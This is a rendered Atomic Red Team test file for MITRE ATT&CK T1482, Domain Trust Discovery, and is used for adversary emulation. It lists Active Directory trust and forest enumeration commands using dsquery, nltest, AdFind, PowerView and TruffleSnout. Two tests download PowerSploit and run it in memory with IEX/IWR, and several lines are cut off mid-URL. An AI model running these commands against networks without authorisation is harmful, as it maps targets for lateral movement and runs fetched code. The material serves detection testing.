Sign in

redcanaryco / **atomic-red-team** Public

🔔 Notifications   ⑂ Fork 2.8k   ☆ Star 9.7k

<> **Code**   ⊙ Issues 6   ⇄ Pull requests 4   ▷ Actions   📖 Wiki   ⚠ Security   📈 Insights

atomic-red-team / atomics / T1482 / **T1482.md** 📋

346 lines (178 loc) · 9.64 KB

Preview | Code | Blame   Raw 📋 ⬇ ☰

T1482 - Domain Trust Discovery

Description from ATT&CK

> Adversaries may attempt to gather information on domain trust relationships that may be used to identify lateral movement opportunities in Windows multi-domain/forest environments. Domain trusts provide a mechanism for a domain to allow access to resources based on the authentication procedures of another domain.(Citation: Microsoft Trusts) Domain trusts allow the users of the trusted domain to access resources in the trusting domain. The information discovered may help the adversary conduct [SID-History Injection](https://attack.mitre.org/techniques/T1134/005), [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003), and [Kerberoasting](https://attack.mitre.org/techniques/T1558/003).(Citation: AdSecurity Forging Trust Tickets) (Citation: Harmj0y Domain Trusts) Domain trusts can be enumerated using the `DSEnumerateDomainTrusts()` Win32 API call, .NET methods, and LDAP.(Citation: Harmj0y Domain Trusts) The Windows utility [Nltest](https://attack.mitre.org/software/S0359) is known to be used by adversaries to enumerate domain trusts.(Citation: Microsoft Operation Wilysupply)

Atomic Tests

- [Atomic Test #1 - Windows - Discover domain trusts with dsquery](#)

- [Atomic Test #2 - Windows - Discover domain trusts with nltest](#)

- [Atomic Test #3 - Powershell enumerate domains and forests](#)

- [Atomic Test #4 - Adfind - Enumerate Active Directory OUs](#)

- [Atomic Test #5 - Adfind - Enumerate Active Directory Trusts](#)

- [Atomic Test #6 - Get-DomainTrust with PowerView](#)

- [Atomic Test #7 - Get-ForestTrust with PowerView](#)

- [Atomic Test #8 - TruffleSnout - Listing AD Infrastructure](#)

Atomic Test #1 - Windows - Discover domain trusts with dsquery

Uses the dsquery command to discover domain trusts. Requires the installation of dsquery via Windows RSAT or the Windows Server AD DS role.

Supported Platforms: Windows

auto_generated_guid: 4700a710-c821-4e17-a3ec-9e4c81d6845f

Attack Commands: Run with `command_prompt`!

```
dsquery * -filter "(objectClass=trustedDomain)" -attr *
```

Atomic Test #2 - Windows - Discover domain trusts with nltest

Uses the nltest command to discover domain trusts. Requires the installation of nltest via Windows RSAT or the Windows Server AD DS role. This technique has been used by the Trickbot malware family.

Supported Platforms: Windows

auto_generated_guid: 2e22641d-0498-48d2-b9ff-c71e496ccdbe

Attack Commands: Run with `command_prompt` !

```
nltest /domain_trusts
```

Dependencies: Run with `command_prompt` !

Description: nltest.exe from RSAT must be present on disk

Check Prereq Commands:

```
WHERE nltest.exe >NUL 2>&1
```

Get Prereq Commands:

```
echo Sorry RSAT must be installed manually
```

Atomic Test #3 - Powershell enumerate domains and forests

Use powershell to enumerate AD information. Requires the installation of PowerShell AD admin cmdlets via Windows RSAT or the Windows Server AD DS role.

Supported Platforms: Windows

auto_generated_guid: c58fbc62-8a62-489e-8f2d-3565d7d96f30

Attack Commands: Run with `powershell` !

```
Import-Module "$env:TEMP\PowerView.ps1"
Get-NetDomainTrust
Get-NetForestTrust
Get-ADDomain
Get-ADGroupMember Administrators -Recursive
```

Dependencies: Run with `powershell`!

Description: PowerView PowerShell script must exist on disk

Check Prereq Commands:

```
if (Test-Path $env:TEMP\PowerView.ps1) {exit 0} else {exit 1}
```

Get Prereq Commands:

```
Invoke-WebRequest "https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f!
```

Description: RSAT PowerShell AD admin cmdlets must be installed

Check Prereq Commands:

```
if ((Get-Command "Get-ADDomain" -ErrorAction Ignore) -And (Get-Command "Get-ADGrou|
```

Get Prereq Commands:

```
Write-Host "Sorry RSAT must be installed manually"
```

Atomic Test #4 - Adfind - Enumerate Active Directory OUs

Adfind tool can be used for reconnaissance in an Active directory environment. This example has been documented by ransomware actors enumerating Active Directory OUs reference-http://www.joeware.net/freetools/tools/adfind/, https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html

Supported Platforms: Windows

auto_generated_guid: d1c73b96-ab87-4031-bad8-0e1b3b8bf3ec

Inputs:

Name	Description	Type	Default Value
adfind_path	Path to the AdFind executable	Path	PathToAtomicsFolder\T1087.002\src\AdFind.exe

Attack Commands: Run with `command_prompt` !

```
#{adfind_path} -f (objectcategory=organizationalUnit)
```

Dependencies: Run with `powershell` !

Description: AdFind.exe must exist on disk at specified location (#{adfind_path})

Check Prereq Commands:

```
if (Test-Path #{adfind_path}) {exit 0} else {exit 1}
```

Get Prereq Commands:

```
Invoke-WebRequest -Uri "https://github.com/redcanaryco/atomic-red-team/raw/master/
```

Atomic Test #5 - Adfind - Enumerate Active Directory Trusts

Adfind tool can be used for reconnaissance in an Active directory environment. This example has been documented by ransomware actors enumerating Active Directory Trusts reference-http://www.joeware.net/freetools/tools/adfind/, https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html

Supported Platforms: Windows

auto_generated_guid: 15fe436d-e771-4ff3-b655-2dca9ba52834

Inputs:

Name	Description	Type	Default Value
adfind_path	Path to the AdFind executable	Path	PathToAtomicsFolder\T1087.002\src\AdFind.exe

Attack Commands: Run with `command_prompt`!

```
#{adfind_path} -gcb -sc trustdmp
```

Dependencies: Run with `powershell`!

Description: AdFind.exe must exist on disk at specified location (#{adfind_path})

Check Prereq Commands:

```
if (Test-Path #{adfind_path}) {exit 0} else {exit 1}
```

Get Prereq Commands:

```
Invoke-WebRequest -Uri "https://github.com/redcanaryco/atomic-red-team/raw/master/a
```

Atomic Test #6 - Get-DomainTrust with PowerView

Utilizing PowerView, run Get-DomainTrust to identify domain trusts. Upon execution, progress and info about trusts within the domain being scanned will be displayed.

Supported Platforms: Windows

auto_generated_guid: f974894c-5991-4b19-aaf5-7cc2fe298c5d

Attack Commands: Run with `powershell`!

```
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
```

```
IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a
```

Atomic Test #7 - Get-ForestTrust with PowerView

Utilizing PowerView, run Get-ForestTrust to identify forest trusts. Upon execution, progress and info about forest trusts within the domain being scanned will be displayed.

Supported Platforms: Windows

auto_generated_guid: 58ed10e8-0738-4651-8408-3a3e9a526279

Attack Commands: Run with `powershell`!

```
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a
```

Atomic Test #8 - TruffleSnout - Listing AD Infrastructure

Iterative AD discovery toolkit for offensive operators. Situational awareness and targeted low noise enumeration. Preference for OpSec.- https://github.com/dsnezhkov/TruffleSnout

Supported Platforms: Windows

auto_generated_guid: ea1b4f2d-5b82-4006-b64f-f2845608a3bf

Inputs:

Name	Description	Type	Default Value
trufflesnout_path	Path to the TruffleSnout executable	Path	PathToAtomicsFolder\T1482\src\TruffleSnout.exe

domain	Domain name to search on	String	%userdomain%

Attack Commands: Run with `command_prompt`!

```
#{trufflesnout_path} forest -n #{domain}
#{trufflesnout_path} domain -n #{domain}
```

Dependencies: Run with `powershell`!

Description: TruffleSnout.exe must exist on disk at specified location (#{trufflesnout_path})

Check Prereq Commands:

```
if (Test-Path #{trufflesnout_path}) {exit 0} else {exit 1}
```

Get Prereq Commands:

```
New-Item -ItemType Directory (Split-Path #{trufflesnout_path}) -Force | Out-Null
Invoke-WebRequest -Uri "https://github.com/dsnezhkov/TruffleSnout/releases/download
```